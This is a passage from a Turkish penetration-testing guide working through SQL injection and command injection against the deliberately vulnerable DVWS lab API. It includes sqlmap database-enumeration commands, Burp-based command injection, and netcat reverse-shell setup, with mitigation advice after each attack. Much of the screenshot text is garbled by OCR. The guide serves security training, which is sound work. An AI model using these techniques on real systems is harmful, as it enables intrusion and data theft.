L f CWE - CWE-89: Improper Neutr= X ﬁ CAPEC - CAPEC-66: SQL Injectior X Ders 18 - Blind SQL Injection (M= X e 192.1 » +

< C O A

nli degi 192.168.68.105/dvws/vulnerabilities/sqli/api.php/us:

{"first_name":"Hack" "last_name":"Me"}
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Burada 2 girdisi sql sorgusuna eklenmektedir ve sql sorgusu veritabanindan bir yanit dondiiriip rest
api’si istemciye bunu yanit olarak donmektedir.

SQL enjeksiyonu ag¢ikligini kontrol edebilmek i¢in sqlmap’ten yararlanalim. Bunun i¢in burpsuite
yazilimu ile rest api’ye gonderdigimiz http istek paketini alalim ve sqlmap’e bu paketi verip tarama
baslatalim.

Burp’le Http Istegini Alma:

e
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open~ /A request.txt

GET /dvws/vulnerabilities/sqli/api.php/user n TTP/1.1

Host: 192.168.68.1085

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wfné4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107

Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1image/avif,image/webp,image/apng,*/*;q=0.8,application/
signed-exchange;v=b3;g=0.9

Referer: http://192.168.68.105/dvws/vulngrabilities/sqli/

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Connection: close

PlainText ¥ Tab Width: 8 ~ Ln9, Col 18 ¥ INS

SQLMap ile Taramay1 Baslatma:
Ubuntu 18.04 LTS Terminal:

> sglmap -r "request.txt"
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Activities ) Terminal ~ Cts14:16@
e B ke PR Fa sl

File Edit View Search Terminal Help

S sqlmap -r "request.txt"]

Gortildiigi gibi 2 parametresi error-based, time-based ve union-based sql enjeksiyonu agikliklarina
sahipmis. Simdi sql enjeksiyonu agiklikli girdi yoluyla 6rnegin veritabanini dump edelim ve yiiklii
veritabani dizinlerini listeleyelim.

Ubuntu 18.04 LTS Terminal:

> sglmap -r "request.txt" --dbs

Ciktr:
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Acikhgm Onlemi

Bu acikligin 6nlemi i¢in dinamik sql sorgular yerine (yani dogrudan istemci girdisini alan sql
sorgular yerine) parametrik sorgular kullanilmalidir. Parametrik sorgular istemci girdisini alir ve
istemci girdisi olarak sql sorgusuna yerlestirir. Yani girdide sql sorgusu i¢in anlam ifade edecek
karakter var olsa bile sql sorgusuna “girdi degeri” olarak yerlestirildiginden sql sorgusunda
enjeksiyon yasanmayacaktir. Bir diger Oneri dinamik sorgu kullanildigt durumda istemci
girdilerinin filtrelenmesidir. Yani sql sorgulari igin 6zel anlam ifade edebilecek karakterlerin
girdiden filtrelenmesi ve girdinin o sekilde sql sorgusuna yerlestirilmesidir.

5.4.8 Command Injection (CWE-78, CAPEC-88)

Bu demoda Command Injection saldirist hedef “linux” dvws web servis sunucusuna uygulanacaktir
ve linux web sunucuda linux sistem komutu ¢alistirilacaktir.

Kullanilan Materyaller
Ubuntu 18.04 LTS /I Fiziksel Makine
DVWS - Ubuntu 16.04 LTS VM /I DVWS Web Servis Linux Sanal Makine

Not: DVWS kasith zafiyetler iceren web uygulamasimin Ubuntu 16.04 LTS kurulumu i¢in
bkz. EK > DVWS Web API’yi Linux’a (Ubuntu 16.04 LTS Dagitimina) Kurma.

Aciklik Aciklamasi

Uygulamalardaki zafiyetlerden yararlanarak uygulamalarin barindigi host isletim sisteminde sistem
komutu calistirma saldirilarina Command Injection saldirist adi verilir. Command Injection
saldirisi, bir uygulama kullanici girdilerini (6rn; form verilerini, ¢erez bilgilerini, http baslik
bilgilerini v.b.) denetlemeden sistem kabuguna aldiginda meydana gelir. Bu saldirida saldirganin
gonderdigi isletim sistemi komutlar1 genellikle agiklikli uygulamanin sahip oldugu haklarda
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calistirilir.

Acikhigin Coziimii

Oncelikle Command Injection agiklikli sayfaya bir goz atalim.

- (] X
& commandinjection caper X | (.} CWE - CWE-78:Improper X | [ CAPEC-CAPEC-24%:Cor X | [ CAPEC- CAPEC-83:0SC X @ Command Injection x o+ Y
<« C 1Y A Givenlidegil | 192.168.68.108/dvws-master/vulnerabilities/cmdi/clientphp B e v 0 ¢ » 0O o
i =

Home
Command Injection

Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command
injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack.
the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application

More Information

d_lInjection_%260TG-INPVAL-013%29

This webpage provides information on how long the system has been running, how many users are currently logged on, and the system load averages for
the past 1, 5.and 15 minutes

Select the format you want to view the system uptime on

OnNormal format

OMMHH:SS format

Osnort Format

Owindows Format (Only on Windows Systems)

| Gonder |
This application s using JSON-RPC fo execute commands:

njection

al Enti 4 Ik

Bu sayfada hedef web api sunucusu sistem uptime siiresini 6grenmek i¢in bir servis sunulmaktadir.
Ornegin MM:HH:SS format secenegine tiklayarak istek gonderildiginde linux dvws web
sunucunun ne kadar siiredir agik oldugu bilgisi alinmaktadir.

Sayfa 135/ 167



G command injection capec X

&

Islam

C Y A Guvenlidegil

Tubitak

Oyun

(.f CWE- CWE-78: Improper X
192.168.68.108,

Online Filmler

(]

e % @O f 0@ :

@ cambly [ Searchresults f

x | [H CAPEC -CAPEC88:05C X @ Command Injection x

+

s-master/vulnerabilities/cmdi/client.php

Siber Givenlik & Bulut Notlar Stackoverflow Sorul... @ Singer Servis TC Siber Gavenlik K.

Command Injection

Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command
injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers efc.) to a system shell. In this attack
the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application.

More Information

wasp.org/in
asp.org

php/Command_Injection
php ] C 280

mmand_Injection_%280

This webpage provides information on how long the system has been running, how many users are currently logged on, and the system load averages for
the past 1, 5,and 15 minutes

Select the format you want to view the system uptime on

Vindows Format (Only on Windows Systems)

sing JSON-RPC to execute commands:

The current system uptime is
2023-02-01 17:43:16

Simdi bu komut enjeksiyonu acgiklikli web serviste komut c¢alistirma mekanizmasini manipule

edelim ve keyfi komut calistiralim. Bunun i¢in burpsuite ile

inceleyelim.

Al # burp-sStartBurp =
-
Bup FProject Inuder Repeatsr Window Help
q Dashboard Target Praxy Intruder Repeater
“ 1 2 =
9
m
-
.,
=) xhtmlexml, applica
=] xehanaes o
® £8.58. 108,/ dvws.
G
=z
)
[
-
=
4
L°
=

araya girelim ve gonderilen paketi

CrsiTis5e

Burp Suite Community Edition v2022.9.6 - Temporary Project

Sequencer  Decoder  Comparer  logowr  Exonder  Projectoptions  Useroptions  Leam
Target MpHNSZ 16868108 P HTTPAL ()
0= = inspector @

N = pemy  Raw  He n =
8= Pey " . U Request Attibtes D v

mmand_Tnection S280TG-IN
Request Query Parameters o v
Roquest Body Pavamelers 1
Request Conkies 0o -

x54) appLemebii t/5 KT, Like Gacko rmstion on hov Long the

Request Headers 2 -

. om Load nd
mege/avif,image /webp, imege/spng, */*; g=0 Response Hoaders 7 .

elient. phy
thod="£0ST*>

t you Want to view the system uptima on

»* name="name® value=t *s

* namestname® value=t-s*>

name="name* valus="-p*>

windows Format (0nl

ut type=tSubmit

This applic

tom uptame 1%

0 matches

5,053 bytes | 7 mills

Gonderilen pakette name parametresi ile -s girdisi gonderilmektedir ve yanit olarak sistem uptime’1
alinmaktadir. -s girdisine komut enjekte edelim.
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Activities ¥ burp-StartBurp = Crs 1756

) Burp Sulte Community Edition v2022.9.6 - Temporary Project

-
Bup Project huder Repeater Window Help
o Dusiboad  Tagst Pwy  nuer _Repestr  Sequencer  Decodsr  Compwer  logger  Extender  Projectoptions  Usaropions  Leam
i 2x
* ——
[ sena JEJ < Target MpINSZIBEII08 9 HITPIL (3)
Request Respons == inspecr ) = - @ X
b Raw  Hex @ n = Pewy  Raw e B N = e A > -
@ o masterywulnerabi Li ties/cnd felient.php HITR/1.1 — NS UT U/ LINGER  PIJ 1SS LLIG_1OF OIS € L0521 11
8. 108 Request Query Parameters. 0 v
- Request Body Parameters 1 -
-forn-urlencoded R § . Request Cookies 0 v
ws NT 10.0; WinGd; x64) ApplewsbKit/537.36 (KMTML, Like Gecko) sbpage provides informstion on how Long the systen has been ruming,
© S bty R =
g 1y logged on, and the system load averages for the past 1, 5,and tequest Heax v
. s
cation/xhtnlexnl, application/xml;q=0.9, image/avif ,image/webp, image/apng, */*; 4=0 e ———— 2
ed- exchange: 9 espans s
Rafer 169,68, 108 ulnerabilities/cadi fcliant . php onct® method=*FOST>
Nl nccep ip, deflate ELon=t ! method=tS0ST
2 Accept Language: en- LS, en;q=0.9 elect the format you want to view the system uptime on
Connection: closs o
B snamer value=t *»
Ll
s
@
.4
This spplication is using <i>
4 JSON-APC to execute commands:
</is
<br />
9 113 br />
: 2]
2 The current system uptime is
</b>
<or />
= 1 | 20230201 17:23:18
1 - data
@8+ omaiches (D@ €|+ 0 matches
B Oone 5.062 bytes | 10 millis

Gorildigi gibi linux web sunucuya basarili sekilde komut enjekte edilebilmistir ve komut
enjeksiyonundaki komut caligtirma mevcut hak seviyemiz Ogrenilebilmistir. Buradan hareketle
strastyla haklarimiz (www-data haklar1) dlgiisiinde linux web sunucu isletim sisteminde komutlar
caligtirabiliriz. Komut enjeksiyonu ile su sonuglar elde edilebilir;

e Isletim Sistemi Parola Dosyalarim Gériintiileme

e Isletim Sistemi Konfigurasyon Dosyalarin1 Gériintiileme
e Uygulama Kaynak Kodlarimi Goriintiileme

e Ters Kabuk Baglantis1 Alma

e V..

Ornegin Komut Enjeksiyonu ile web servisin bir dosyasinin kaynak kodlarini okuyalim.
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Grs 1805 e

Burp Sulte Community Edition v2022.9.6 - Temporary Project
Bup Pioject intruder Repeater Window Help

Dashboard  Taget  Praxy  Iwuder  Repeaier  Sequencer  Decoder  Comparer  logger  Exiender  Projectoptions  Useroptions  Leam
2« a
["send e Target hups2 16868308 (9 HTTPAL ()
D= pecior @D T 2 @ X
Raw  Hex B 0= Pey A Hex Render B " = peies Aibues D
1 POST /dvws-master/vulnerabilities/emdi felient.php HITP/1.1 P e
ot a1 Thie webpage providss information on how Long the systen has been running, | Request Query Parametars 0 v
[”"h" "2“11‘ how many users are
4 Cache-Control: max-age= currently logged on, and the system load aversges for the past 1, 5,and | Request Body Paramelers D -
15 minutes.<br>
wiwwi- form-urlencoded his Request Cookies o e
i u ") H i vebK1t/537.. { .
-0 (Windows AT 10.0; WinGe; x64) Asplewebiit/S37.36 (KHTML, Like Gecko) <form actiom='® method='POST'>
107 safari/537.38 prig Request Headers 2 v
act the form v view the Uptine on
text/hinl, spplication/xhtnlexnl, spplication/xml; =09, imsge /avif, inage/vebp, imsge/apng, #/+;4=0 Select the formt you wint to view the aysten uptime on
</b> Response Headers 7 A
-8, appli cation/signed- exchange; v 0.9 g
ttp: //192. 168,68, 108/dvws- master fvulnerabi Li ties/cadi fcLient  phy <inp “radio® name=tname* valus=t *>
Accept-Encoding: gzip, deflate Normal formatebrs
2 Accept-Language: en-US,en;q=0.9 et .
- nput type=radio® namestname values*-se>
I 10" name="name® walus=*-p*>
input type="radio® name=tname value="find*>
windows Format (Only on Windows Systems)<br>
>
cinput type=tSubmits />
b
7 </form
=/body>
</htals
This application is using <i>
SON-APC to exscuts commands:
</i>
<br />
wr /> Y
The current system uptime is
<ib>
<br />
3-02-01 17:43:16
t.php
JsonFPCCLaant, php
7 JsonAPCserver. php
process. phy
restrictedExample. php
server.phe.
0 matches « > 0 matches

Burp Sulte Community Edition v2022.9.6 - Temporary Project
Bup Pioject intruder Repeater Window Help

5,145 bytes | 11 milis

Dashboard  Target  Praxy  Iuder  Repeater  Sequencer  Decoder  Comparer  logger  Extemder  Projectoptions  Useroptions  Leam
1x 2% a
< Target hups2 16868308 (9 HTTPAL ()
Response == inspectr W) = - @ x
Hex B o= Py e e R BV T e A .
1POST /dvws- master wulnerabilities/cndifclient.php HITR/1.1 o currently ogged om, and the system load averages far the past 1, 5,and
2 Eomtont.Longtis 33 15 mnutes <bra Request Query Parameters 0
4 Cache-Control: max-age= </p>
5 Upgrada: Insecura- Raquests o setenet methadrroees Aeauest Body Paramelers 1w
Origin: hitp://192.168.59. 10 o thed=rFos
Content-Type: application/x-w-form urlencoded T et the format you mant to wiew the syetem untine on Request Cookies 0 -
User-Agent: Mozalle/s.0 (Windows NT 10.0; WinSd; x54) ApplewebKit/537.35 (KHTML, Like Gecka) _Setect the fornst you want & the system upt
Chrome/107.0.5304. 107 Safari /837. 38 o Recast Hoadrs 2 -
Accept: <input Type="radio® name="name®
text/htnl, application/xhtnlexnl, application/xnl;q=0.9, image/avif ,inaga/vebp, imags/apng, +/+ q=0 Lt e .
.8, spplicationssigned- exchangs: v 0.9 Mormal formatet RRspss b ibadas U

name=* name®

<nput Type="radio®

MIH:H41:SS formatebr>

<input type=*radio’ name=*name*
ort Format<

<input type="radio’ name="nane®

windows Fornat (Only on Windows

Peferer: http://192.168.68, 108/dves. master /vulnarabi Lities/cndifeliant. php

value=*-s*>
valug=*-p*>

walue="find*>
Systoms)<bra

<brs
<input type=tsubmit />
<br>

@

</forms

</htmls

This application is using <i>
JSON-RPC to execute commands:

The current system uptime is
</bs

<br />
2023-02-01
<iphp
require_once ' jsonRPCServer.ph's
1 require 'process.php’;

8 raquire 'restrictedExanple.php’;

17:43:18

gnyExample = new restrictedexanplel);
jsonmRCSarvar: thandle  fyExanple)
or print 'no reguest';

-
=
Ve
L]
»
4
]
=

0 maiches.

o5k

.‘
@
0

) 0 matches

5.240 bytes | 7 milis

Ornegin ters kabuk baglantis1 (reverse shell connection) alabiliriz. Bunu igin hedef web servis
sunucusunda ters kabuk baglantisi olugturmaya yarayan bir tool’un kurulu oldugunu varsayiyoruz.

DVWS - Ubuntu 16.04 LTS Linux Terminal:

> sudo su

> apt-get install netcat-traditional // Reverse Shell Olusturan Tool

Web servis sunucusunda gerekli ara¢ hazir olduktan sonra komut enjeksiyonu ile ters kabuk
baglantis1 alabilmek i¢in saldirgan sistemde dinleme moduna gegelim.
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Ubuntu 18.04 LTS Linux:
>nc -lvp 1234

Ardindan web servise komut enjeksiyonu yapalim ve reverse shell olusturan kodlar1 enjekte
edelim.

TLE

L NN

Saldirganin IP'si

Colm=EmMoendoa@dea 0

5001

ralES omunas | DB € 2 Omatenas

Reverse Shell Veren Kodlar Web Servis Sunucusuna Enjekte Edilir

hefese@HASANFSIMSEK: ~
File Edit View Search Terminal Tabs Help

hefese@HASANFSIMSEK: ~ x hefese@HASANFSIMSEK: ~ * | root@HASANFSIMSEK: /h... * Nl

hefese@HASANFSIMSEK:~S nc -lvp 1234
Listening on [6.8.8.8] (family 8, port 1234)
Connection from 192.168.68.121 58958 received!

Saldirgan Sistemde Dinleme Moduna Gegilir

Sayfa 139/ 167



hefese@HASANFSIMSEK: ~

File Edit View Search Terminal Tabs Help

hefese@HASANFSIMSEK: ~ x| hefese@HASANFSIMSEK: ~ * | root@HASANFSIMSEK: /h... = GRS

hefese@HASANFSIMSEK:~S nc -lvp 1234
Listening on [0.0.0.0] (family @, port 1234)
Connection from 192.168.68.121 58958 received!

Reverse Shell Baglantis1 Gelir ve Edinilen Yetki Ogrenilir

hefese@HASANFSIMSEK: ~
File Edit view Search Terminal Tabs Help

hefese@HASANFSIMSEK: ~ x hefese@HASANFSIMSEK: ~ * | root@HASANFSIMSEK: fh... > KR

hefese@HASANFSIMSEK:~S nc -lvp 1234
Listening on [0.0.8.8] (family ©, port 1234)
Connection from 192.168.68.121 58958 received!

jsonRPCServer.php
process.php
restrictedexample.php

server.php

Web Servis Sunucusunda Sizilan Dizin Noktasindaki Dosyalar Siralanir
Acikhgm Onlemi

Istemci tarafli girdiler komut enjeksiyonunda kullanilan isletim sistemi kabuk operatérlerine karsi
denetlenmelidir ve filtrelenmelidir. Saldirganlarin ilave komut eklemesi boylece engellenebilir.

6 SONUC VE ONERILER

Bu ¢alisma i¢in literatiirde gegen baslica web servis sizma testi araglari kullanilmigtir. Web
servislere sizma testi yapilmasi i¢in temel gereksinimler ve beceriler paylagilmistir. Baslica
web servis zafiyetlerine deginilmistir ve somiirme adimlar1 gosterilmistir. Tiim gosterilen
uygulamalar bagimliliklarinin kurulumlar1 yer almak iizere pratikte okuyucu tarafindan
kendi basina uygulayabilecegi sekilde adimlara yer vererek anlatilmistir. Bu sayede
bilginin teoride kalmasinin Oniine geg¢ip pratige doniismesi amaclanmistir. Bu calisma
raporu ile bir kimse web servis sizma testgisi olmak noktasinda baslangic adimini atmis
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olacaktir. Bu sektordeki bir kimse tarafindan bu rehber dokiimana benzer bir rapor
yazilacagl zaman ham bilginin pratik olarak uygulanabilir olmasi noktasinda adimlara
bolca yer verilmesi 6nerilmektedir. Bu sayede bilisim ve bilgi giivenligi sektoriine nitelikli
eleman yetistirilmesi saglanabilir.

7 EK
7.1 SoapUI Web Servis Giivenlik Testi Yazilimini Linux’a (Ubuntu 18.04 LTS’ye)
Kurma

SoapUI yaziliminin linux (Ubuntu 18.04 LTS) sisteme kurulumu su sekildedir:
a) Indirme
Belirtilen linkten soapui yazilimi indirilir.
https://www.soapui.org/downloads/soapui/

Not: Linke linux bir sistemden gidince linux siirimii inmektedir. Windows bir

sistemden linke gidilirse windows siiriimii iner.
Kurulum  dosyast  Downloads  klasériinde  yer  alir: SoapUI-x64-
SIZININDIRDIGINIZVERSIYON.sh
b) Yiikleme
Ubuntu 18.04 LTS Terminal:
> sudo su
> cd ~/Downloads/
> chmod +x SoapUI-x64-SIZININDIRDIGINIZVERSIYON.sh
> ./ SoapUI-x64-SIZININDIRDIGINIZVERSIYON.sh

[!] Uyart:

Kurulumda “Tutorials” da yiiklemeye dahil edilir. Tutorials igerisinde soap ve rest
i¢cin Ornek soapui projeleri mevcuttur.

Sayfa 141/ 167



¢) Calistirma
Kurulum sonrasi yazilimi baglatma su sekildedir:
Ubuntu 18.04 LTS Terminal:

> cd /home/USERNAME/SoapUI-5.6.0/bin/
> ./SoapUl-5.6.0

7.2  Burpsuite’i Linux (Ubuntu 18.04 LTS) Sisteme Kurma
a) Indirme
Belirtilen linkten burpsuite linux x64 siiriimii indirilir.

https://portswigger.net/burp/releases/professional-community-2022-9-
5?requestededition=community&requestedplatform=

xxxxx.sh seklinde bir kurulum dosyasi inecektir.
b) Yiikleme

Kurulum i¢in sh dosyasi ¢alistirilir ve standart next, next prosediirii uygulanir.

Ubuntu 18.04 LTS Terminal:
> sudo su

> chmod a+x burpsuite_community_linux_SIZININDIRDIGINIZVERSIYON.sh
> /burpsuite_community_linux_SIZININDIRDIGINIZVERSIYON.sh

¢) Calistirma
Terminal ekraninda burpsuite yazilarak burpsuite baslatilabilir.
Ubuntu 18.04 LTS Terminal:

> burpsuite
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7.3  Burpsuite’e WSDLER Eklentisini Kurma

Burpsuite pencere ekraninda Extender->BApp Store sekmesine gelinir ve Wsdler secenegi

secilerek Install denir.

Burp Suite Community Edition v1.7.36 - Temporary Project

Burp Intruder Repeater Window Help
"Target Proxy | Spider T Scanner T Intruder T Repeater T Sequencer T Decoder I Comparer T Extender T Project aptions T User options | Alerts | Wsdler ] |

 [Extensions | Bapp stare | Apis | options | 4 |

BApp St

The BApp Sigfe contains Burp extensions that have been written by users of Burp Suite, to fktend Burp's capabilities.

\
Name & | Installed | Rating | Popularity | Last updata | ‘eta\l | |
| | squiry Sclmap Integration — 04 Mar 2021 J i Wedler
= p NS Collaborator — 24 [l 20 FEGUIGEE ELTD o This extension takes a WSDL request, parses out the operations that
LS cl — 12 Jul 2019 Requires Burp ... are associated with the targeted web service, and generates SOAP
S cagner — 15 Aug 2018 requests that can then be sent to the SOAP endpoints.
| zjﬁt’iam BT __|| ;g J[L;‘Eiﬂzzuﬂlg To use this extensian, select a suitable item in Burp, and choose
"Parse WSDL" from the context menu.
| Taborator —A 15 Dec 2020 Requires Burp ...
Target Redirector — 04 Apr 2018 The extension builds upon the work done by Tom Bujok and his
ThreadFix 4 25 Jan 2017 Requires BUrp .. soap-ws project which is essentially the WSDL parsing portion of
Timeinator, Time Based At... = 09 Nov 2020 Soap-Ul without the UI.
Timestamp Editor - 18 Mar 2021 Requires Java version 8
Token Extractor — 16 Apr 2021
| Token Incrementor — 27 Nov 2020 Author: Eric Gruber |
Tokenjar —1 20 Jun 2018 Version:  2.0.12 |
Turbo Data Miner - 26 Jan 2021 Source: https:#github.com/portswiggeriwsdler
Turbo Intruder —1 06Aug2021 ) Updated: 01 Nov 2016
Upload Scanner — 26 Nov 2018 Requires Burp ...
UPNP Hunter = 22 )an 2021 Rating: Akg g kakan Submit rating |
UUID Detector — 23 Feb 2017 1
ViewState Editor — 10 Mar 2021 Popularity: ————| ;
WAF Cookie Fetcher — 16 Jan 2018 |
WAFDetect C — 13 Nov 2018 Installing
! | wayback Machine — 18 Jun 2018
WCF Deserializer —1 15 Jun 2017
Web Cache Deception Sca... —A 23 Nov 2017 Requires Burp ...
Weblnspect Connector —1 10 Aug 2016 Requires Burp ...
WebSphere Portlet State D... e 17 Feb 2015
wordlist Extractor —1 20 Apr 2017
! WordPress Scanner —A 28 May 2018
WS Security | 13 Dec 2019
WSDL Wizard fugigigs —1 01 Jul 2014 j
Wsdler v wawwwy —— 01 Nov 2016
XChromeLogger Decoder =4 25 Jan 2017
XSS Validator — 25 Jan 2017
Yara = 25 Jan 2017 U
YesweBurp — 11 Jan 2021 v
{ Refresh list J { Manual install ... J Installing...

Bu kurulum sonrast Wsdler sekmesi burpsuite meniilerine gelir.

| Burp Intruder Repeater Window Help

| [Target proxy | Spider T Scanner Ilntruder T Repeater I Sequencer I Decoder IComparer T Extender T Project options I User options Wsdler ]
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7.4  Postman Yazilhmimi Linux (Ubuntu 18.04 LTS) Sisteme Kurma

a) Yiikleme

Ubuntu paket yoneticisi depolarindan yazilim indirilir ve kurulur.

Ubuntu 18.04 LTS Terminal:

> sudo su
> snap install postman

b) Calistirma

Yazilim ubuntu linux dashboard’undan ismi aratilarak veya terminal ekranindan
ismi yazilarak bagslatilabilir.

Ubuntu 18.04 LTS Terminal:

> postman

7.5 DVWS Web API’yi Linux’a (Ubuntu 16.04 LTS Dagitimina) Kurma

Bu baslik altinda bir linux sisteme kasith acikliklara sahip DVWS web api kurulum
adimlar1 gosterilecektir.

Kullanilan Materyaller

- Oracle VirtualBox // Sanallastirma Yazilimi

- Ubuntu 16.04 LTS Desktop Linux 1SO // Linux Isletim Sistemi

- PHP v5.5.38, Apache, MySQL // Web Sunucu Yazilimlari
- DVWS Il Zafiyetli Web API

a) Oracle VirtualBox Kurma

- Bilgisayarimizda yiiklii ve kullanmakta oldugunuz linux veya windows isletim
sistemine “Oracle VirtualBox™ yazilim1 kurulur.

https://www.virtualbox.org/wiki/Downloads
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b) Oracle VirtualBox’da VM Olusturma

- Oracle VirtualBox’da bir sanal makine olusturulur.

“Ubuntu 16.04 LTS desktop iso” imaji cd olarak sanal makineye takilarak
kurulur.

https://releases.ubuntu.com/16.04/
c¢) Ubuntu 16.04 LTS VM’e PHP + Apache + MySQL Kurulumu
(V) Uyart:

Her komut satirinda baslangigta kullanilan “>” karakterleri islevi olan bir kod
degildirler. Sadece yeni bir komut satirinin bagladigimi gostermek adina
kullanilmigtir. Dolayisiyla komutlart  kopyalarken en bastaki > karakteri
alimmamalidir. Ondan sonraki karakterler alinmalidir.

Ubuntu 16.04 LTS Linux Terminal:

1) Bagimliliklar Yiiklenir.

> apt-get -y install wget curl

> apt-get -y install build-essential libxml2-dev libxslt1-dev

> apt-get -y install libfcgi-dev libfcgiOldbl libjpeg62-dbg libxml2-dev

> apt-get -y install libmcrypt-dev libssl-dev libc-client2007e libc-client2007e-dev
> apt-get -y install libbz2-dev libcurl4-openssl-dev libjpeg-dev libpngl2-dev

> apt-get -y install libfreetype6-dev libkrb5-dev libpg-dev libicu-dev

> In -s /usr/lib/libc-client.a /usr/lib/x86_64-linux-gnu/libc-client.a

> mkdir /opt/php-5.5.38

> mkdir /usr/local/src/php5-build

> cd /usr/local/src/php5-build

> waget https://www.php.net/distributions/php-5.5.38.tar.bz2 -O php-5.5.38.tar.bz2
> tar jxf php-5.5.38.tar.bz2

> cd php-5.5.38/

( configure ile beraber devam eden satirlar komple kopyalanir
ve terminale oldugu gibi yapistirilip ENTER 'lanir)

# Komut Baglangici
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> /configure --prefix=/opt/php-5.5.38 --with-pdo-pgsql --with-zlib-dir --with-
freetype-dir --enable-mbstring \

--with-libxml-dir=/usr --enable-soap --enable-intl --enable-calendar --with-curl --
with-mcrypt --with-zlib \

--with-gd --with-pgsql --disable-rpath --enable-inline-optimization --with-bz2 --
with-zlib --enable-sockets \

--enable-sysvsem --enable-sysvshm --enable-pcntl --enable-mbregex --enable-exif -
-enable-bcmath --with-mhash \

--enable-zip --with-pcre-regex --with-mysql --with-pdo-mysql --with-mysqli --
with-jpeg-dir=/usr --with-png-dir=/usr \

--enable-gd-native-ttf  --with-openssl  --with-fpm-user=www-data --with-fpm-
group=www-data \

--with-libdir=/1ib/x86_64-linux-gnu --enable-ftp --with-imap --with-imap-ssl --
with-gettext --with-xmlrpc --with-xsl \

--with-kerberos --enable-fpm

# Komut Sonu

> make

> make install

> cp {usr/local/src/php5-build/php-5.5.38/php.ini-production lopt/php-
5.5.38/lib/php.ini

> cp /opt/php-5.5.38/etc/php-fpm.conf.default /opt/php-5.5.38/etc/php-fpm.conf

> mkdir /opt/php-5.5.38/etc/php-fpm.d

(cat ile beraber devam eden satirlar komple kopyalanir
ve terminale oldugu gibi yapistirtlip ENTER lanir)

# Komut Baslangici

> cat <<EOF > /etc/systemd/system/php-5.5.38-fpm.service
[Unit]

Description=The PHP 5.5.38 FastCGI Process Manager
After=network.target

[Service]

Type=simple

PIDFile=/opt/php-5.5.38/var/run/php-fpm.pid
ExecStart=/opt/php-5.5.38/shin/php-fpm --nodaemonize --fpm-config /opt/php-
5.5.38/etc/php-fpm.conf

ExecReload=/bin/kill -USR2 $MAINPID

[Install]
WantedBy=multi-user.target
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EOF
# Komut Sonu

> echo 'zend_extension=opcache.so' >> /opt/php-5.5.38/lib/php.ini

(for ile beraber devam eden satirlar komple kopyalanir
ve terminale oldugu gibi yapistirilip ENTER 'lanir)

# Komut Baglangici

> for i in /opt/php-5.5.38/lib/php.ini;do

sed -i 's|max_execution_time = 30jmax_execution_time = 120/ $i
sed -i 'slupload_max_filesize = 2M|upload_max_filesize = 32M|' $i
sed -1 's|post_max_size = 8M|post_max_size = 32M|' $i

sed -i ‘slerror_reporting = E_ALL & ~E_DEPRECATEDIerror_reporting =
E_ERROR| $i

sed -i 's|short_open_tag = Off|short_open_tag = On|' $i

sed -i "s|;date.timezone =|date.timezone = 'AmericaV/Sao_Paulo’|" $i
done

# Komut Sonu

> sed -i "s|;pid = run/php-fpm.pid|pid = run/php-fpm.pid|" /opt/php-5.5.38/etc/php-
fpm.conf

> sed -i "s|;include=etc/fpm.d/\*.conf|include=/opt/php-5.5.38/etc/php-
fpm.d/\*.conf|" /opt/php-5.5.38/etc/php-fpm.conf

> systemctl daemon-reload

> systemctl enable php-5.5.38-fpm.service

> systemctl start php-5.5.38-fpm.service

> apt-get install apache2 libapache2-mod-fastcgi
> a2enmod actions alias

> a2enmod proxy_fcgi

> systemctl restart apache2.service

(cat ile beraber devam eden satirlar komple kopyalanir
ve terminale oldugu gibi yapistirilip ENTER 'lanir)

# Komut Baglangici
> cat <<EOF > /etc/apache2/php5.5.conf
<FilesMatch "\.php$">
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SetHandler "proxy:fcgi://127.0.0.1:9000/"
</FilesMatch>
EOF
# Komut Sonu

/I Apache Konfigurasyon Dosyasinda <VirtualHost> </VirtualHost>
// Boliimii Igerisine PHP’yi Gosteren Konfigurasyon Satir1 Eklenir.
> nano /etc/apache2/sites-available/000-default.conf

<VirtualHost *:80>

# Eklenecek Satir
Include /etc/apache2/php5.5.conf
</VirtualHost>

iv) MySQL Kurulur.
Not:
MySQL kurulumu parola asamasinda
parola olarak bir sey girilmez ve ENTER
deyip gecilir.

d) Ubuntu 16.04 LTS VM’e DVWS Web API Indirilir
Ubuntu 16.04 LTS Terminal:

> sudo su
> cd /var/www/html
> wget https://www.includekarabuk.com/kitaplik/indirmeDeposu/dvws.zip

> unzip dvws.zip
> chmod -R 777 dvws/

e) Ubuntu 16.04 LTS VM’de DVWS Web API Kurulumu Yapilir
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Web Tarayici:
http://localhost/dvws/about/instructions.php
Tiklanacak Buton: [Reset Database]

f) Tim bu asamalarin ardindan kurulumlar tamamlanacaktir ve dvws web api’ye erisim
saglanabilecektir.

http://localhost/dvws/index.php
Not:

DVWS Web API arayiiziinde Command Injection sayfasinda dvws sadece linux'da
ise calisabilen radio button'larin calisir oldugu bu kurulumda gézlemlenebilecektir.
Ayni ders sayfasinda windows radio button’un calismasi icin dvws’ nin windows
isletim sisteminde kurulmus olmas1 gerekmektedir.

76  DVWS Web API’yi Windows’a (Windows 10 Home Premium Siiriimiine)
Kurma

Bu baslik altinda bir windows sisteme kasithi agikliklara sahip DVWS web api kurulum
adimlar1 gosterilecektir.

Kullanilan Materyaller

- Oracle VirtualBox // Sanallastirma Yazilimi

- Windows 10 Home Premium // Windows Isletim Sistemi
- Xampp 5.5.38 // Web Sunucu Yazilimlari
- DVWS Il Zafiyetli Web API

a) Oracle VirtualBox Kurma

- Bilgisayarimizda yiiklii ve kullanmakta oldugunuz linux veya windows isletim
sistemine “Oracle VirtualBox™ yazilim1 kurulur.

https://www.virtualbox.org/wiki/Downloads

b) Oracle VirtualBox’da VM Olusturma
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- Oracle VirtualBox’da bir sanal makine olusturulur.

- “Windows 10 Home Premium” imaji cd olarak sanal makineye takilarak
kurulur.

https://www.microsoft.com/tr-tr/software-download/windows10

¢) Windows 10 VM’e PHP + Apache + MySQL Kurulumu

- Xampp 5.5.38 siirlimii kurulur.

